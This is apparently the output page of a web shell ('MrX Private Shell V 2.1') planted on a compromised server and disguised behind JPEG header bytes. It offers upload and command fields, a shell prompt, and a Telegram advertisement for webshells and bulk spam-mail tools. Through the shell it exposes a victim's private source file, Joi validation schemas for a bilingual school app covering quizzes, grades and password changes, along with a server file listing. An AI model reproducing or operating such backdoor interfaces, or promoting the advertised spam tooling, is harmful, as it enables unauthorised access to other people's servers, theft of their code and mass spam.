����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

sanzxfik@216.73.216.37: ~ $
import Joi from "joi";
import { getCommonSchemas } from "./commonSchema.js";
import { errorMessages } from "../config/Constants.js";

const bilingualTextSchema = (fieldLabel, lang = "en", max = 200) =>
  Joi.object({
    en: Joi.string().max(max).allow("").optional(),
    ar: Joi.string().max(max).allow("").optional(),
  })
    .custom((value, helpers) => {
      if (!value) return helpers.error("any.required");

      const hasEn = value.en && value.en.trim() !== "";
      const hasAr = value.ar && value.ar.trim() !== "";

      if (!hasEn && !hasAr) {
        return helpers.error("any.custom");
      }
      return value;
    })
    .messages({
      "any.required":
        lang === "ar"
          ? `${fieldLabel} مطلوب باللغة الإنجليزية أو العربية`
          : `${fieldLabel} is required in at least one language (EN or AR)`,
      "any.custom":
        lang === "ar"
          ? `${fieldLabel} لا يمكن أن يكون فارغًا في كلتا اللغتين`
          : `${fieldLabel} cannot be empty in both EN and AR`,
      "string.max":
        lang === "ar"
          ? `${fieldLabel} يجب ألا يزيد عن ${max} حرفًا`
          : `${fieldLabel} must be at most ${max} characters`,
    });

export const createQuizSchema = (lang = "en") => {
  const messages = errorMessages[lang] || errorMessages.en;

  return Joi.object({
    title: bilingualTextSchema("Title", lang, 200).required(),

    description: Joi.object({
      en: Joi.string().max(2000).allow("").optional(),
      ar: Joi.string().max(2000).allow("").optional(),
    }).optional(),

    classId: Joi.string().required().messages({
      "any.required": "Class is required",
    }),

    dueDate: Joi.date().greater("now").required().messages({
      "date.greater": "Due date must be in the future",
      "any.required": "Due date is required",
    }),

    status: Joi.string().valid("draft", "published").default("draft"),

    // These are optional because we check them in controller
    questions: Joi.any().optional(),
    file: Joi.any().meta({ swaggerType: "file" }).optional(),
  });
};

export const updateQuizSchema = (lang = "en") => {
  const messages = errorMessages[lang] || errorMessages.en;

  return Joi.object({
    
    title: bilingualTextSchema("Title", lang, 200).optional(),

    
    description: Joi.object({
      en: Joi.string().max(2000).allow("").optional().messages({
        "string.max":
          messages.descriptionMax || "Description must be at most 2000 characters",
      }),
      ar: Joi.string().max(2000).allow("").optional().messages({
        "string.max":
          messages.descriptionMaxAr || "Description must be at most 2000 characters",
      }),
    }).optional(),

    classId: Joi.string().messages({
      "string.empty": "Class cannot be empty",
    }),

    questions: Joi.array()
      .items(
        Joi.object({
          questionText: Joi.string().required(),
          options: Joi.array().items(Joi.string()),
          correctAnswer: Joi.string().allow(""),
          marks: Joi.number().default(1),
          questionType: Joi.string().valid(
            "multiple-choice",
            "true-false",
            "short-answer",
            "essay"
          ),
        })
      )
      .min(1)
      .messages({
        "array.min": "At least one question is required",
      }),

    dueDate: Joi.date().greater("now").messages({
      "date.greater": "Due date must be in the future",
    }),

    status: Joi.string().valid("draft", "published", "closed"),
  });
};



export const replyQuerySchema = (lang = "en") => {
  const messages = errorMessages[lang] || errorMessages.en;

  return Joi.object({
    message: Joi.alternatives().try(
      
      Joi.string().min(1).required(),

      
      Joi.object({
        en: Joi.string().allow("").optional(),
        ar: Joi.string().allow("").optional(),
      })
      .or("en", "ar") 
      .messages({
        "object.missing": messages.messageRequired || "Must provide at least English or Arabic message",
      })
    ).required().messages({
      "any.required": messages.messageRequired || "Message is required",
    }),
  });
};

export const queryStatusSchema = (lang = "en") => {
  const messages = errorMessages[lang] || errorMessages.en;

  return Joi.object({
    status: Joi.string()
      .valid("open", "closed", "in-progress")
      .required()
      .messages({
        "string.empty": messages.statusRequired || "Status is required",
        "any.required": messages.statusRequired || "Status is required",
        "any.only": messages.statusInvalid || "Status must be one of: open, closed, in-progress",
      }),
  });
};


export const changePasswordSchema = (lang = "en") => {
  const { passwordSchema } = getCommonSchemas(lang);
  const messages = errorMessages[lang] || errorMessages.en;

  return Joi.object({
    currentPassword: Joi.string().required().messages({
      "string.empty": "Current password is required",
      "any.required": "Current password is required",
    }),
    newPassword: passwordSchema,
    confirmPassword: Joi.string()
      .valid(Joi.ref("newPassword"))
      .required()
      .messages({
        "string.empty": "Confirm password is required",
        "any.required": "Confirm password is required",
        "any.only": "Passwords must match",
      }),
  });
};


export const updatePreferencesSchema = (lang = "en") => {
  const messages = errorMessages[lang] || errorMessages.en;

  return Joi.object({
    languagePreference: Joi.string().valid("en", "ar"),
    theme: Joi.string().valid("light", "dark", "system"),
    notifications: Joi.object({
      email: Joi.boolean(),
      push: Joi.boolean(),
      sms: Joi.boolean(),
    }),
  });
};

export const createAssignmentSchema = (lang = "en") => {
  return Joi.object({
    title: Joi.string().required().messages({
      "string.empty": "Title is required",
      "any.required": "Title is required",
    }),

    description: Joi.string().allow(""),

    classId: Joi.string().required().messages({
      "string.empty": "Class is required",
      "any.required": "Class is required",
    }),

    fileUrl: Joi.string().allow(""), 

    totalMarks: Joi.number().min(1).required().messages({
      "any.required": "Total marks are required",
    }),

    dueDate: Joi.date().greater("now").required().messages({
      "date.greater": "Due date must be in the future",
      "any.required": "Due date is required",
    }),

    status: Joi.string()
      .valid("draft", "published", "closed")
      .default("draft"),
  });
};


export const updateAssignmentSchema = (lang = "en") => {
  return Joi.object({
    title: Joi.string().messages({
      "string.empty": "Title cannot be empty",
    }),

    description: Joi.string().allow(""),

    classId: Joi.string(),

    fileUrl: Joi.string().allow(""),

    totalMarks: Joi.number().min(1),

    dueDate: Joi.date().greater("now").messages({
      "date.greater": "Due date must be in the future",
    }),

    status: Joi.string().valid("draft", "published", "closed"),
  });
};


export const uploadGradeSchema = (lang = "en") => {
  const messages = errorMessages[lang] || errorMessages.en;

  return Joi.object({
    classId: Joi.string().required().messages({
      "string.empty": messages.class_required || "Class ID is required",
      "any.required": messages.class_required || "Class ID is required",
    }),
    courseId: Joi.string().required().messages({
      "string.empty": messages.course_required || "Course ID is required",
      "any.required": messages.course_required || "Course ID is required",
    }),
    academicYear: Joi.string().required().messages({
      "string.empty": messages.academic_year_required || "Academic Year is required",
      "any.required": messages.academic_year_required || "Academic Year is required",
    }),
    term: Joi.string().valid("first", "second", "third").required().messages({
      "any.only": messages.term_invalid || "Term must be first, second, or third",
      "any.required": messages.term_required || "Term is required",
    }),
    assessment: Joi.object({
      name: Joi.string().required().messages({
        "string.empty": messages.assessment_name_required || "Assessment name is required",
      }),
      type: Joi.string().valid("exam", "quiz", "assignment").required().messages({
        "any.only": messages.assessment_type_invalid || "Invalid assessment type",
        "any.required": messages.assessment_type_required || "Assessment type is required",
      }),
      maxMarks: Joi.number().required().messages({
        "number.base": messages.assessment_maxmarks_invalid || "Max marks must be a number",
        "any.required": messages.assessment_maxmarks_required || "Max marks are required",
      }),
      date: Joi.date().optional(),
      remarks: Joi.string().allow("").optional(),
    }).required().messages({
      "any.required": messages.assessment_required || "Assessment details are required",
    }),
    grades: Joi.array().items(
      Joi.object({
        studentId: Joi.string().required(),
        obtainedMarks: Joi.number().required(),
      })
    ).optional(),
  });
};

Filemanager

Name Type Size Permission Actions
adminValidation.js File 26.86 KB 0644
commonSchema.js File 5.25 KB 0644
hrValidations.js File 9.55 KB 0644
index.js File 3.14 KB 0644
studentValidation.js File 3.4 KB 0644
teacherValidation.js File 8.99 KB 0644
userValidation.js File 7.33 KB 0644